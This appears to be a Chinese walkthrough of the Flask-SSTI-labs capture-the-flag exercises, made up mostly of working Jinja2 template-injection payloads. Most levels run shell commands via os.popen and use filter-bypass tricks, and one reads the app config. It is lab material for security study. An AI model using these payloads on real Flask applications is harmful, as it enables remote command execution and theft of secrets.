第一关无过滤:payoad:
{{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}
第二关过滤{}:payload:
{%print lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()%}
第三关无回显:payload:写入静态文件
{{lipsum.__globals__['os'].popen('echo `ls` >/app/static/1.txt').read()}}
第四关过滤[]:
{{lipsum.__globals__.get('os').popen('ls').read()}}
第五关过滤‘’:可以使用request绕过
第六关过滤_:
把__编码即可
第七关过滤.:用[]代替.
{{lipsum['__globals__']['os']['popen']('ls')['read']()}}
第八关过滤[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]
字符串拼接绕过:
第九关过滤数字:但是我们的payload没有数字
用上一关的即可
第十关
这一关的目标不是flag,而是获取config,可以通过current_app
来获取
{{url_for.__globals__['current_app'].config}}
第11关过滤[’’’, ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’
{%set %}拼接
{%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set cmd=dict(l=a,s=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
code={%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%}
{%set f=dict(__buil=a,tins__=a)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
第12关过滤[‘_’, ‘.’, ‘0-9’, ‘\’, ‘’', ‘"’, ‘[’, ‘]’]
{{()|select|string|list}}:截取环境字符
返回字符 可以通过下标取到结果
但是这里禁止了数字0-9
可以通过过滤器 | length 或者| count取到
{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{{()|select|string|list|attr(p)(numa)}}
{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(numa)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(ca=a,t=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join,chh(numc),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
第13关用上一题payload
如果过滤[’’’, ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’_']'
{%set%0apo=dict(po=a,p=a)|join()%}
{%set%0aa=(()|select|string|list)|attr(po)(24)%}
{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}
{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}
{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}
{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(((()|select|string|list)|attr(po)(15),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(16),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279),(()|select|string|list)|attr(po)(41),(()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(1))|join())|attr(re)()}}
CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记-CSDN博客
具体细节看这位大佬